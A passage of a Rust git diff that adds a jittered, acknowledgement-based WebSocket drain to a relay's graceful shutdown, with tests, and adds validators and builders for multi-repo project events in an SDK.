`drain_jitter_ms == 0` must pick `drain_all`, and + // a non-zero value must pick `drain_all_jittered(drain_jitter_ms)`. + // A mutant that inverts this condition ships jitter-off in prod. + // 2. The shutdown handle must be awaited before the abort. Dropping the + // `shutdown_handle.await` (both the UDS and TCP-only return paths) is + // the exact shape of the previously shipped detached-timer bug, + // relocated from the helper to the call site: the runtime can exit + // before delayed closes flush, so no client sees a 1012. + // 3. `shutdown_tx.send(true)` must reach every listener's + // `with_graceful_shutdown` future, on both the UDS and TCP-only paths. + // + // A focused test would refactor the drain/dispatch decision and the + // listener-shutdown fan-out into a small seam that does not need a bound + // socket or a real SIGTERM. One shape: extract the body of this spawned + // task into a `run_graceful_shutdown(state, shutdown_tx)` fn parameterised + // over a signal future and a clock, inject a fake `ConnectionManager` + // (or a trait over `drain_all` / `drain_all_jittered`) that records which + // path ran, drive it with `tokio::time` paused, and assert: (a) the right + // drain path ran for jitter 0 vs non-zero, (b) the drain future completed + // before the abort fired, and (c) each subscribed `watch` receiver + // observed `true`. This keeps the test off real ports and off wall-clock + // sleeps. Not implemented here. This comment records the plan only. + let shutdown_handle = tokio::spawn(async move { shutdown_signal().await; shutdown_flag.store(true, Ordering::Relaxed); info!("Shutdown signal received — readiness now returns 503"); @@ -1216,20 +1275,31 @@ async fn serve( tokio::time::sleep(std::time::Duration::from_secs(5)).await; info!("Starting graceful drain (30s timeout)"); let _ = tx.send(true); - // Tell every connected client to reconnect NOW. Without this, upgraded - // WebSocket connections outlive the listener drain: clients ride the - // dying pod until the forced exit below and only learn about the - // restart from a TCP reset. The 1012 close frame turns a 35s silent - // death into an immediate, well-attributed reconnect. - let closed = drain_conn_manager.drain_all(); + // Keep the original process-level backstop alive while listener and + // upgraded-socket shutdown proceeds. The caller aborts it only after + // Axum and the owned jitter drain have both completed. + let hard_shutdown = tokio::spawn(async { + tokio::time::sleep(GRACEFUL_DRAIN_TIMEOUT).await; + tracing::error!("Drain timeout exceeded — forcing exit"); + std::process::exit(1); + }); + let hard_shutdown_abort = hard_shutdown.abort_handle(); + // Stop accepting first, then close every live socket. Jitter off (the + // default) uses the original synchronous all-at-once drain; jitter on + // retains ownership of every delayed close until its 1012 frame has + // been flushed and acknowledged (or its send loop cancelled). + let closed = if drain_jitter_ms == 0 { + drain_conn_manager.drain_all() + } else { + drain_conn_manager.drain_all_jittered(drain_jitter_ms).await + }; info!( connections = closed, - "Sent restart close frame to all live WebSocket connections" + jitter_ms = drain_jitter_ms, + max_jitter_ms = MAX_DRAIN_JITTER_MS, + "Signalled restart close to all live WebSocket connections" ); - // Hard timeout: force exit if connections don't drain within 30s. - tokio::time::sleep(std::time::Duration::from_secs(30)).await; - tracing::error!("Drain timeout exceeded — forcing exit"); - std::process::exit(1); + hard_shutdown_abort }); let tcp_listener = tokio::net::TcpListener::bind(&config.bind_addr) @@ -1277,7 +1347,11 @@ async fn serve( .await .map_err(|e| anyhow::anyhow!("TCP server error: {e}"))?; + let hard_shutdown = shutdown_handle + .await + .map_err(|e| anyhow::anyhow!("Shutdown task failed: {e}"))?; uds_handle.abort(); + hard_shutdown.abort(); return Ok(()); } @@ -1298,6 +1372,10 @@ async fn serve( .await .map_err(|e| anyhow::anyhow!("Server error: {e}"))?; + let hard_shutdown = shutdown_handle + .await + .map_err(|e| anyhow::anyhow!("Shutdown task failed: {e}"))?; + hard_shutdown.abort(); Ok(()) } diff --git a/crates/buzz-relay/src/state.rs b/crates/buzz-relay/src/state.rs index 58a869a995..14a50df7b7 100644 --- a/crates/buzz-relay/src/state.rs +++ b/crates/buzz-relay/src/state.rs @@ -9,6 +9,7 @@ use std::time::Instant; use axum::body::Bytes; use axum::extract::ws::{Message as WsMessage, Utf8Bytes as WsUtf8Bytes}; use dashmap::DashMap; +use futures_util::future::join_all; use tokio::sync::mpsc; use tokio::sync::Semaphore; use tokio::task::JoinHandle; @@ -31,10 +32,13 @@ use deadpool_redis; use crate::audio::AudioRoomManager; use crate::config::Config; -use crate::connection::ConnectionSubscriptions; +use crate::connection::{ConnectionSubscriptions, RestartClose}; use crate::subscription::SubscriptionRegistry; pub(crate) type ScopedPubkeyKey = (CommunityId, [u8; 32]); + +/// Leaves headroom under the process-wide drain deadline for a stalled writer. +const RESTART_CLOSE_ACK_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(5); type SlidingWindowCounter = (u32, Instant); type ScopedRateLimiter = DashMap; @@ -45,6 +49,7 @@ struct ConnEntry { /// the send loop. Used to deliver a ban-disconnect frame that must reach /// the client before the socket is closed (see [`ConnectionManager::disconnect_pubkey`]). ctrl_tx: mpsc::Sender, + restart_tx: Option>, cancel: CancellationToken, /// Community resolved from the connection host at handshake. This is the /// receiver-side tenant label fan-out must compare against the event label. @@ -202,11 +207,12 @@ impl ConnectionManager { // Each argument is a distinct per-connection attribute stored verbatim in // `ConnEntry`; a params struct would only relocate the same fields. #[allow(clippy::too_many_arguments)] - pub fn register( + pub(crate) fn register( &self, conn_id: Uuid, tx: mpsc::Sender, ctrl_tx: mpsc::Sender, + restart_tx: Option>, cancel: CancellationToken, community_id: CommunityId, backpressure_count: Arc, @@ -220,6 +226,7 @@ impl ConnectionManager { ConnEntry { tx, ctrl_tx, + restart_tx, cancel, community_id, backpressure_count, @@ -231,7 +238,11 @@ impl ConnectionManager { // Insert-then-check pairs with drain_all's store-then-iterate: either // the drain iteration sees this entry, or this check sees the flag. // A registration that raced past the snapshot self-signals here, so - // no connection can outlive graceful shutdown unclosed. + // no connection can outlive graceful shutdown unclosed. A client that + // arrives mid-shutdown should be closed at once, so the self-signal + // always uses the immediate control-frame + cancel path regardless of + // whether jittered drain is enabled — jitter smears the sockets that + // were already established, not late arrivals. if self.draining.load(Ordering::SeqCst) { let _ = drain_ctrl_tx.try_send(Self::restart_close_frame()); drain_cancel.cancel(); @@ -335,6 +346,11 @@ impl ConnectionManager { /// Closes every live connection with a `1012 Service Restart` close frame. /// + /// This is the original, all-at-once drain, retained as the default path + /// (`BUZZ_DRAIN_JITTER_MS` unset or `0`). It is synchronous and returns as + /// soon as every close is queued and every connection cancelled, so the + /// caller's hard-drain timeout backstops delivery unchanged. + /// /// Called when graceful shutdown starts draining. Without this, upgraded /// WebSocket connections outlive the axum listener drain: clients ride the /// dying pod until the forced exit and then learn about the restart from a @@ -364,6 +380,82 @@ impl ConnectionManager { closed } + /// Closes every live connection with a `1012 Service Restart` frame, + /// spreading closes across `[1, jitter_ms]`. + /// + /// This is the jittered drain, used only when `BUZZ_DRAIN_JITTER_MS > 0`. + /// It is kept deliberately separate from [`Self::drain_all`] so that the + /// default (jitter-off) shutdown path is byte-for-byte the previously + /// shipped behavior; the new close-acknowledgement machinery only runs when + /// jitter is explicitly enabled. Once the jittered path is proven in + /// production for all cases, the two can be unified and the old one dropped. + /// + /// A pod under a rolling deploy can hold thousands of WebSocket sessions. + /// Closing them simultaneously ([`Self::drain_all`]) makes every client + /// reconnect at the same moment — a thundering herd that drives the DB + /// pool-timeout bursts observed on each roll. Delaying each connection's + /// close by an independent uniform random offset in `[1, jitter_ms]` + /// smears the reconnects across the window while keeping the well-attributed + /// 1012 close. + /// + /// Each delayed close is delivered over the connection's dedicated + /// [`RestartClose`] channel: the writer flushes the 1012 frame and + /// acknowledges the flush, so drain waits for confirmed delivery (up to + /// [`RESTART_CLOSE_ACK_TIMEOUT`]) rather than assuming it. If the channel is + /// full/closed or the ack times out, drain falls back to cancellation. + /// + /// The sticky drain flag is set before the first await, preserving + /// [`Self::drain_all`]'s shutdown-boundary race guarantee: a registration + /// that lands after the snapshot self-signals immediately (no jitter — a + /// client arriving mid-shutdown should be closed at once). The returned + /// future owns every delayed close, so the caller must await it before the + /// relay runtime is allowed to stop. + /// + /// Returns the number of connections signalled. + pub async fn drain_all_jittered(&self, jitter_ms: u64) -> usize { + // Store-then-snapshot pairs with register's insert-then-check: either + // the snapshot captures a registration, or it observes the sticky flag + // and self-signals immediately. + self.draining.store(true, Ordering::SeqCst); + let jitter_ms = jitter_ms.max(1); + let pending: Vec<_> = self + .connections + .iter() + .map(|entry| { + let ctrl_tx = entry.ctrl_tx.clone(); + let restart_tx = entry.restart_tx.clone(); + let cancel = entry.cancel.clone(); + let delay_ms = 1 + rand::random::() % jitter_ms; + async move { + tokio::time::sleep(std::time::Duration::from_millis(delay_ms)).await; + let Some(restart_tx) = restart_tx else { + // Unit-only registrations do not own a writer task. + let _ = ctrl_tx.try_send(Self::restart_close_frame()); + cancel.cancel(); + return; + }; + let (flushed_tx, flushed_rx) = tokio::sync::oneshot::channel(); + if restart_tx + .try_send(RestartClose { + flushed: flushed_tx, + }) + .is_err() + { + cancel.cancel(); + return; + } + let flushed = tokio::time::timeout(RESTART_CLOSE_ACK_TIMEOUT, flushed_rx).await; + if !matches!(flushed, Ok(Ok(true))) { + cancel.cancel(); + } + } + }) + .collect(); + let count = pending.len(); + join_all(pending).await; + count + } + /// The WS close frame announcing a graceful restart: 1012 Service Restart. fn restart_close_frame() -> WsMessage { WsMessage::Close(Some(axum::extract::ws::CloseFrame { @@ -1246,6 +1338,7 @@ mod tests { conn_id, tx, ctrl_tx, + None, cancel.clone(), buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), Arc::clone(&bp), @@ -1371,6 +1464,7 @@ mod tests { conn_id, tx, conn.ctrl_tx.clone(), + None, cancel.clone(), buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), Arc::clone(&bp), @@ -1417,6 +1511,7 @@ mod tests { conn_a, tx_a, ctrl_tx_a, + None, CancellationToken::new(), community_a, Arc::new(AtomicU8::new(0)), @@ -1427,6 +1522,7 @@ mod tests { conn_b, tx_b, ctrl_tx_b, + None, CancellationToken::new(), community_b, Arc::new(AtomicU8::new(0)), @@ -1463,6 +1559,7 @@ mod tests { conn_id, tx, ctrl_tx, + None, cancel, buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), bp, @@ -1765,6 +1862,7 @@ mod tests { conn_id, tx, ctrl_tx, + None, cancel.clone(), community, Arc::new(AtomicU8::new(0)), @@ -1793,6 +1891,117 @@ mod tests { ); } + #[tokio::test] + async fn drain_all_jittered_waits_for_writer_acknowledgement_without_cancelling() { + let mgr = Arc::new(ConnectionManager::new()); + let conn_id = Uuid::new_v4(); + let (tx, _rx) = mpsc::channel(8); + let (ctrl_tx, _ctrl_rx) = mpsc::channel(8); + let (restart_tx, mut restart_rx) = mpsc::channel(1); + let cancel = CancellationToken::new(); + mgr.register( + conn_id, + tx, + ctrl_tx, + Some(restart_tx), + cancel.clone(), + buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), + Arc::new(AtomicU8::new(0)), + Arc::new(Mutex::new(HashMap::new())), + 3, + ); + + let drain_mgr = Arc::clone(&mgr); + let drain = tokio::spawn(async move { drain_mgr.drain_all_jittered(1).await }); + let restart = restart_rx.recv().await.expect("restart command delivered"); + assert!(!drain.is_finished(), "drain waits for the writer flush"); + restart.flushed.send(true).expect("acknowledge flush"); + + assert_eq!(drain.await.expect("drain task"), 1); + assert!( + !cancel.is_cancelled(), + "successful flush does not use cancellation fallback" + ); + } + + #[tokio::test] + async fn drain_all_jittered_cancels_when_restart_channel_is_full_or_closed() { + for keep_receiver in [true, false] { + let mgr = ConnectionManager::new(); + let conn_id = Uuid::new_v4(); + let (tx, _rx) = mpsc::channel(8); + let (ctrl_tx, _ctrl_rx) = mpsc::channel(8); + let (restart_tx, restart_rx) = mpsc::channel(1); + let (pending_tx, _pending_rx) = tokio::sync::oneshot::channel(); + if keep_receiver { + restart_tx + .try_send(RestartClose { + flushed: pending_tx, + }) + .expect("fill restart channel"); + } else { + drop(restart_rx); + } + let cancel = CancellationToken::new(); + mgr.register( + conn_id, + tx, + ctrl_tx, + Some(restart_tx), + cancel.clone(), + buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), + Arc::new(AtomicU8::new(0)), + Arc::new(Mutex::new(HashMap::new())), + 3, + ); + + assert_eq!(mgr.drain_all_jittered(1).await, 1); + assert!( + cancel.is_cancelled(), + "unavailable writer cancels as fallback" + ); + } + } + + #[tokio::test(start_paused = true)] + async fn drain_all_jittered_cancels_when_flush_ack_times_out() { + // A writer that accepts the restart command but never acknowledges the + // flush (e.g. wedged mid-send) must not stall the drain: after + // RESTART_CLOSE_ACK_TIMEOUT the connection falls back to cancellation. + let mgr = Arc::new(ConnectionManager::new()); + let conn_id = Uuid::new_v4(); + let (tx, _rx) = mpsc::channel(8); + let (ctrl_tx, _ctrl_rx) = mpsc::channel(8); + let (restart_tx, mut restart_rx) = mpsc::channel(1); + let cancel = CancellationToken::new(); + mgr.register( + conn_id, + tx, + ctrl_tx, + Some(restart_tx), + cancel.clone(), + buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), + Arc::new(AtomicU8::new(0)), + Arc::new(Mutex::new(HashMap::new())), + 3, + ); + + let drain_mgr = Arc::clone(&mgr); + let drain = tokio::spawn(async move { drain_mgr.drain_all_jittered(1).await }); + // Take the restart command but hold the ack sender forever. + let restart = restart_rx.recv().await.expect("restart command delivered"); + assert!(!drain.is_finished(), "drain waits on the ack timeout"); + // Advance past the 5s ack timeout under paused time. + tokio::time::sleep(RESTART_CLOSE_ACK_TIMEOUT + std::time::Duration::from_millis(1)).await; + + assert_eq!(drain.await.expect("drain task"), 1); + assert!( + cancel.is_cancelled(), + "an un-acknowledged flush falls back to cancellation" + ); + drop(restart); + } + #[tokio::test] async fn drain_all_sends_restart_close_and_cancels_every_conn() { // Graceful shutdown must tell every live client to reconnect — across @@ -1809,6 +2018,7 @@ mod tests { conn_id, tx, ctrl_tx, + None, cancel.clone(), community, Arc::new(AtomicU8::new(0)), @@ -1860,6 +2070,7 @@ mod tests { conn_id, tx, ctrl_tx.clone(), + None, cancel.clone(), buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), Arc::new(AtomicU8::new(0)), @@ -1907,6 +2118,7 @@ mod tests { conn_id, tx, ctrl_tx, + None, cancel.clone(), buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), Arc::new(AtomicU8::new(0)), @@ -1930,4 +2142,133 @@ mod tests { other => panic!("expected a restart close frame, got {other:?}"), } } + + #[tokio::test] + async fn drain_all_is_immediate() { + // The default (jitter-off) drain queues the frame and cancels + // synchronously — the frame is present the moment drain_all() returns. + let mgr = Arc::new(ConnectionManager::new()); + let conn_id = Uuid::new_v4(); + let (tx, _rx) = mpsc::channel(8); + let (ctrl_tx, mut ctrl_rx) = mpsc::channel(8); + let cancel = CancellationToken::new(); + mgr.register( + conn_id, + tx, + ctrl_tx, + None, + cancel.clone(), + buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), + Arc::new(AtomicU8::new(0)), + Arc::new(Mutex::new(HashMap::new())), + 3, + ); + + let closed = mgr.drain_all(); + + assert_eq!(closed, 1); + assert!(cancel.is_cancelled(), "default drain cancels synchronously"); + assert!( + matches!( + ctrl_rx + .try_recv() + .expect("close frame delivered synchronously"), + WsMessage::Close(Some(_)) + ), + "the restart close is queued before drain_all() returns" + ); + } + + #[tokio::test(start_paused = true)] + async fn drain_all_jittered_defers_close_until_within_jitter_window() { + // With jitter, the close is deferred within the owned drain future. + // The sticky drain flag is still set immediately, so a late + // registration self-signals with no delay. + let mgr = Arc::new(ConnectionManager::new()); + let conn_id = Uuid::new_v4(); + let (tx, _rx) = mpsc::channel(8); + let (ctrl_tx, mut ctrl_rx) = mpsc::channel(8); + let cancel = CancellationToken::new(); + mgr.register( + conn_id, + tx, + ctrl_tx, + None, + cancel.clone(), + buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), + Arc::new(AtomicU8::new(0)), + Arc::new(Mutex::new(HashMap::new())), + 3, + ); + + let jitter_ms = 20_000u64; + // Poll the owned drain through its first await. Dropping this future + // would drop the timers too; the shutdown path must retain and await it. + let drain = mgr.drain_all_jittered(jitter_ms); + tokio::pin!(drain); + assert!( + futures_util::poll!(&mut drain).is_pending(), + "jittered drain remains pending while its timers are owned" + ); + + // Not closed yet — the delayed drain is parked on its timer. + assert!( + !cancel.is_cancelled(), + "jittered close is deferred, not synchronous" + ); + assert!( + ctrl_rx.try_recv().is_err(), + "no close frame queued before the delay elapses" + ); + + // A registration racing past the snapshot still self-signals at once, + // regardless of jitter — clients arriving mid-shutdown are closed now. + let late_id = Uuid::new_v4(); + let (late_tx, _late_rx) = mpsc::channel(8); + let (late_ctrl_tx, mut late_ctrl_rx) = mpsc::channel(8); + let late_cancel = CancellationToken::new(); + mgr.register( + late_id, + late_tx, + late_ctrl_tx, + None, + late_cancel.clone(), + buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), + Arc::new(AtomicU8::new(0)), + Arc::new(Mutex::new(HashMap::new())), + 3, + ); + assert!( + late_cancel.is_cancelled(), + "late registration self-signals immediately, unaffected by jitter" + ); + assert!( + matches!( + late_ctrl_rx.try_recv().expect("late close frame"), + WsMessage::Close(Some(_)) + ), + "late registration gets the restart close with no delay" + ); + + // Advance past the whole jitter window; awaiting the owned drain must + // complete only after the deferred close has fired. + tokio::time::advance(std::time::Duration::from_millis(jitter_ms + 1)).await; + assert_eq!(drain.await, 1, "one captured connection drained"); + + assert!( + cancel.is_cancelled(), + "the jittered connection is closed within the jitter window" + ); + match ctrl_rx.try_recv().expect("deferred close frame delivered") { + WsMessage::Close(Some(close)) => { + assert_eq!( + close.code, + axum::extract::ws::close_code::RESTART, + "jittered close is still 1012 Service Restart" + ); + assert_eq!(close.reason.as_str(), "relay restarting"); + } + other => panic!("expected a restart close frame, got {other:?}"), + } + } } diff --git a/crates/buzz-sdk/src/builders.rs b/crates/buzz-sdk/src/builders.rs index b2da2cc416..f9f1ad7010 100644 --- a/crates/buzz-sdk/src/builders.rs +++ b/crates/buzz-sdk/src/builders.rs @@ -11,8 +11,8 @@ use buzz_core::{ KIND_GIT_STATUS_CLOSED, KIND_GIT_STATUS_DRAFT, KIND_GIT_STATUS_MERGED, KIND_GIT_STATUS_OPEN, KIND_IA_ARCHIVE_REQUEST, KIND_IA_UNARCHIVE_REQUEST, KIND_MODERATION_BAN, KIND_MODERATION_RESOLVE_REPORT, KIND_MODERATION_TIMEOUT, - KIND_MODERATION_UNBAN, KIND_MODERATION_UNTIMEOUT, KIND_PRESENCE_UPDATE, KIND_USER_STATUS, - KIND_WORKFLOW_DEF, KIND_WORKFLOW_TRIGGER, + KIND_MODERATION_UNBAN, KIND_MODERATION_UNTIMEOUT, KIND_PRESENCE_UPDATE, KIND_PROJECT, + KIND_USER_STATUS, KIND_WORKFLOW_DEF, KIND_WORKFLOW_TRIGGER, }, observer::{ content_looks_like_nip44, OBSERVER_AGENT_TAG, OBSERVER_FRAME_CONTROL, OBSERVER_FRAME_TAG, @@ -120,6 +120,11 @@ fn check_repo_id(repo_id: &str) -> Result<(), SdkError> { Ok(()) } +/// Maximum length of a custom emoji shortcode. +pub const MAX_CUSTOM_EMOJI_SHORTCODE_LEN: usize = 64; +/// Maximum reaction payload length for a colon-wrapped custom emoji shortcode. +pub const MAX_CUSTOM_EMOJI_REACTION_LEN: usize = MAX_CUSTOM_EMOJI_SHORTCODE_LEN + 2; + /// Validate and normalize a NIP-30 custom emoji shortcode. /// /// Shortcodes are case-insensitive in Buzz's relay-global set; lowercase @@ -131,9 +136,9 @@ pub fn normalize_custom_emoji_shortcode(shortcode: &str) -> Result 64 { + if trimmed.len() > MAX_CUSTOM_EMOJI_SHORTCODE_LEN { return Err(SdkError::InvalidInput(format!( - "emoji shortcode exceeds 64 bytes (got {})", + "emoji shortcode exceeds {MAX_CUSTOM_EMOJI_SHORTCODE_LEN} bytes (got {})", trimmed.len() ))); } @@ -1541,12 +1546,7 @@ pub fn build_workflow_delete( author_pubkey: &str, workflow_id: Uuid, ) -> Result { - let pk = check_pubkey_hex(author_pubkey, "author_pubkey")?; - let tags = vec![tag(&[ - "a", - &format!("{}:{pk}:{workflow_id}", KIND_WORKFLOW_DEF), - ])?]; - Ok(EventBuilder::new(Kind::Custom(KIND_DELETION as u16), "").tags(tags)) + build_delete_addressable(KIND_WORKFLOW_DEF, author_pubkey, &workflow_id.to_string()) } /// Build a workflow trigger event (kind 46020). @@ -1880,6 +1880,364 @@ pub fn build_unarchive_identity_request( ) } +// ─── NIP-MP: Multi-repo projects (kind:30621) ──────────────────────────────── +// +// Public surface: +// • `validate_project_envelope` — Layer A protocol validator (8 ingest rules) +// • `build_project_with_tags` — Layer A raw builder (content + tags, no canonicalization) +// • `ProjectMemberCoord` — parsed member coordinate + optional relay hint +// • `build_project` — Layer B writer-policy builder +// • `build_delete_addressable` — generic NIP-09 kind:5 coordinate delete +// +// Byte-length bounds from NIP-MP §Relay Processing: +/// Maximum byte length of a project `d` tag value. +pub const PROJECT_D_MAX_LEN: usize = 1024; +/// Maximum byte length of a project `name` tag value. +pub const PROJECT_NAME_MAX: usize = 256; +/// Maximum byte length of a project `description` tag value. +pub const PROJECT_DESCRIPTION_MAX: usize = 2048; +/// Maximum byte length of a project `buzz-channel` tag value. +pub const PROJECT_CHANNEL_MAX: usize = 256; +/// Maximum byte length of a project `buzz-visibility` tag value. +pub const PROJECT_VISIBILITY_MAX: usize = 256; +/// Maximum number of `a` member tags per project event (checked before dedup). +pub const PROJECT_MEMBER_CAP: usize = 64; + +/// A validated NIP-MP member `a`-tag coordinate with an optional relay hint. +/// +/// Equality and `Hash` are by `coord` only (per spec: duplicate detection ignores hint). +#[derive(Clone, Debug)] +pub struct ProjectMemberCoord { + /// The full `30617::` coordinate string. + pub coord: String, + /// Optional opaque relay hint (third `a`-tag element, never validated by content). + pub hint: Option, +} + +impl PartialEq for ProjectMemberCoord { + fn eq(&self, other: &Self) -> bool { + self.coord == other.coord + } +} + +impl Eq for ProjectMemberCoord {} + +impl std::hash::Hash for ProjectMemberCoord { + fn hash(&self, state: &mut H) { + self.coord.hash(state); + } +} + +impl ProjectMemberCoord { + /// Parse a full `30617::` coordinate string. + /// + /// Accepts an optional relay hint as the third colon-separated element + /// after the split, but the split is always first-two-colons: kind, owner, + /// everything-else-as-repo-d. + /// + /// Rules enforced: + /// - Exactly three segments after splitting on the first two colons + /// - First segment must be the literal string `"30617"` + /// - Second segment must be exactly 64 lowercase hex characters + /// - Third segment (repo-d) must be non-empty + /// - Uppercase owners are rejected (never normalized) + pub fn parse_full(coord: &str) -> Result { + // Split on first two colons only: kind:owner:rest + let mut parts = coord.splitn(3, ':'); + let kind_part = parts.next().unwrap_or(""); + let owner_part = parts.next().unwrap_or(""); + let rest = parts.next().unwrap_or(""); + + if kind_part != "30617" { + return Err(SdkError::InvalidInput(format!( + "member coordinate must start with '30617:' (got kind {kind_part:?})" + ))); + } + if owner_part.len() != 64 || !owner_part.chars().all(|c| c.is_ascii_hexdigit()) { + return Err(SdkError::InvalidInput(format!( + "member owner must be a 64-character hex pubkey (got {owner_part:?})" + ))); + } + // Reject uppercase (spec: lowercase hex required) + if owner_part.chars().any(|c| c.is_ascii_uppercase()) { + return Err(SdkError::InvalidInput( + "member owner hex must be lowercase".into(), + )); + } + if rest.is_empty() { + return Err(SdkError::InvalidInput( + "member coordinate repo-d must not be empty".into(), + )); + } + Ok(ProjectMemberCoord { + coord: format!("30617:{owner_part}:{rest}"), + hint: None, + }) + } + + /// Returns the `a`-tag element slice: `[coord]` or `[coord, hint]`. + pub fn to_tag_parts(&self) -> Vec { + let mut parts = vec!["a".to_string(), self.coord.clone()]; + if let Some(h) = &self.hint { + parts.push(h.clone()); + } + parts + } +} + +/// **Layer A**: Validate a complete kind:30621 envelope against the 8 NIP-MP +/// ingest rules. This is the single source of protocol truth used by both +/// `build_project_with_tags` (raw path) and `build_project` (policy path). +/// +/// Rules enforced (matches relay `buzz-db` ingest logic): +/// 1. `d` cardinality: exactly one `d` tag. +/// 2. `d` value: non-empty, ≤1024 bytes. +/// 3. Member cap: raw count of every `a` tag ≤ 64 (checked **before** per-tag +/// parsing, matching relay rule order). +/// 4. Member tag arity: every `a` tag has 2 or 3 elements (no more, no fewer). +/// 5. Member coordinate grammar: first-two-colons split; kind literal `"30617"`; +/// owner lowercase 64-hex; repo-d non-empty verbatim. +/// 6. Member deduplication: coordinate equality only (hint ignored); any +/// coordinate that appears more than once is a duplicate. +/// 7. Singleton metadata: each of `name`, `description`, `buzz-channel`, +/// `buzz-visibility` appears at most once. +/// 8. Metadata byte lengths: `name` ≤256, `description` ≤2048, +/// `buzz-channel` ≤256, `buzz-visibility` ≤256. +pub fn validate_project_envelope(tags: &[Tag], _content: &str) -> Result<(), SdkError> { + // --- Rule 1 & 2: d tag --- + let d_tags: Vec<&Tag> = tags.iter().filter(|t| tag_name(t) == Some("d")).collect(); + match d_tags.len() { + 0 => { + return Err(SdkError::InvalidInput( + "project must have exactly one 'd' tag (rule: d-cardinality)".into(), + )) + } + 1 => {} + _ => { + return Err(SdkError::InvalidInput( + "project must have exactly one 'd' tag (rule: d-cardinality)".into(), + )) + } + } + let d_val = tag_value(d_tags[0]).unwrap_or(""); + if d_val.is_empty() { + return Err(SdkError::InvalidInput( + "project 'd' tag must not be empty (rule: d-empty)".into(), + )); + } + if d_val.len() > PROJECT_D_MAX_LEN { + return Err(SdkError::InvalidInput(format!( + "project 'd' tag exceeds {PROJECT_D_MAX_LEN} bytes (rule: d-empty)" + ))); + } + + let a_tags: Vec<&Tag> = tags.iter().filter(|t| tag_name(t) == Some("a")).collect(); + + // --- Rule 3: member cap (checked before per-tag parsing, matching relay rule order) --- + if a_tags.len() > PROJECT_MEMBER_CAP { + return Err(SdkError::InvalidInput(format!( + "project exceeds member cap of {PROJECT_MEMBER_CAP} (got {}) (rule: member-cap)", + a_tags.len() + ))); + } + + // --- Rule 4: member arity --- + for a in &a_tags { + let len = a.as_slice().len() - 1; // exclude the "a" name element + if !(1..=2).contains(&len) { + return Err(SdkError::InvalidInput(format!( + "member 'a' tag must have 1 or 2 value elements (got {len}) (rule: member-tag-arity)" + ))); + } + } + + // --- Rules 5 & 6: coordinate grammar + deduplication --- + let mut seen_coords: std::collections::HashSet = std::collections::HashSet::new(); + for a in &a_tags { + let coord_val = tag_value(a).unwrap_or(""); + ProjectMemberCoord::parse_full(coord_val).map_err(|e| { + SdkError::InvalidInput(format!("{e} (rule: member-coordinate-malformed)")) + })?; + if !seen_coords.insert(coord_val.to_string()) { + return Err(SdkError::InvalidInput(format!( + "duplicate member coordinate {coord_val:?} (rule: member-duplicate)" + ))); + } + } + + // --- Rules 7 & 8: singleton metadata + byte bounds --- + let singleton_fields = [ + ( + "name", + PROJECT_NAME_MAX, + "metadata-cardinality", + "metadata-length", + ), + ( + "description", + PROJECT_DESCRIPTION_MAX, + "metadata-cardinality", + "metadata-length", + ), + ( + "buzz-channel", + PROJECT_CHANNEL_MAX, + "metadata-cardinality", + "metadata-length", + ), + ( + "buzz-visibility", + PROJECT_VISIBILITY_MAX, + "metadata-cardinality", + "metadata-length", + ), + ]; + for (field, max_bytes, card_rule, len_rule) in singleton_fields { + let matches: Vec<&Tag> = tags.iter().filter(|t| tag_name(t) == Some(field)).collect(); + if matches.len() > 1 { + return Err(SdkError::InvalidInput(format!( + "project must have at most one '{field}' tag (rule: {card_rule})" + ))); + } + if let Some(t) = matches.first() { + let val = tag_value(t).unwrap_or(""); + if val.len() > max_bytes { + return Err(SdkError::InvalidInput(format!( + "'{field}' tag exceeds {max_bytes} bytes (rule: {len_rule})" + ))); + } + } + } + + Ok(()) +} + +/// Helper: tag name (first element). +fn tag_name(tag: &Tag) -> Option<&str> { + tag.as_slice().first().map(String::as_str) +} + +/// Helper: tag value (second element). +fn tag_value(tag: &Tag) -> Option<&str> { + tag.as_slice().get(1).map(String::as_str) +} + +/// **Layer A raw builder**: Build a kind:30621 project event from a raw +/// `content` string and a raw `tags` slice, without any canonicalization. +/// +/// Validates the entire envelope through `validate_project_envelope` before +/// accepting it. The caller is responsible for supplying the correct `d` tag. +/// This is the path exercised by fixture conformance tests and by read-modify- +/// write mutations in the CLI. +pub fn build_project_with_tags(content: &str, tags: Vec) -> Result { + validate_project_envelope(&tags, content)?; + Ok(EventBuilder::new(Kind::Custom(KIND_PROJECT as u16), content).tags(tags)) +} + +/// **Layer B writer-policy builder**: Build a kind:30621 project event with +/// enforced writer policy: +/// - The `d` tag is constructed from `slug`; `check_project_slug` rejects +/// an empty or over-length slug. +/// - `channel` must be a valid UUID string. +/// - `visibility` must be `"listed"` or `"unlisted"`. +/// - Content is always empty. +/// - Member coordinates are parsed through `ProjectMemberCoord::parse_full`. +/// +/// The resulting envelope is validated through Layer A before the builder is +/// returned. +pub fn build_project( + slug: &str, + name: Option<&str>, + description: Option<&str>, + members: &[ProjectMemberCoord], + channel: Option<&str>, + visibility: Option<&str>, +) -> Result { + // Slug validation + if slug.is_empty() { + return Err(SdkError::InvalidInput( + "project slug must not be empty".into(), + )); + } + if slug.len() > PROJECT_D_MAX_LEN { + return Err(SdkError::InvalidInput(format!( + "project slug must not exceed {PROJECT_D_MAX_LEN} bytes (got {})", + slug.len() + ))); + } + + // Channel UUID validation + if let Some(ch) = channel { + uuid::Uuid::parse_str(ch).map_err(|_| { + SdkError::InvalidInput(format!("buzz-channel must be a valid UUID (got {ch:?})")) + })?; + } + + // Visibility enum validation + if let Some(vis) = visibility { + if vis != "listed" && vis != "unlisted" { + return Err(SdkError::InvalidInput(format!( + "buzz-visibility must be 'listed' or 'unlisted' (got {vis:?})" + ))); + } + } + + let mut tags: Vec = Vec::new(); + tags.push(tag(&["d", slug])?); + + if let Some(n) = name { + tags.push(tag(&["name", n])?); + } + if let Some(d) = description { + tags.push(tag(&["description", d])?); + } + for m in members { + let tag_parts = m.to_tag_parts(); + let parts: Vec<&str> = tag_parts.iter().map(|s| s.as_str()).collect(); + // Safety: 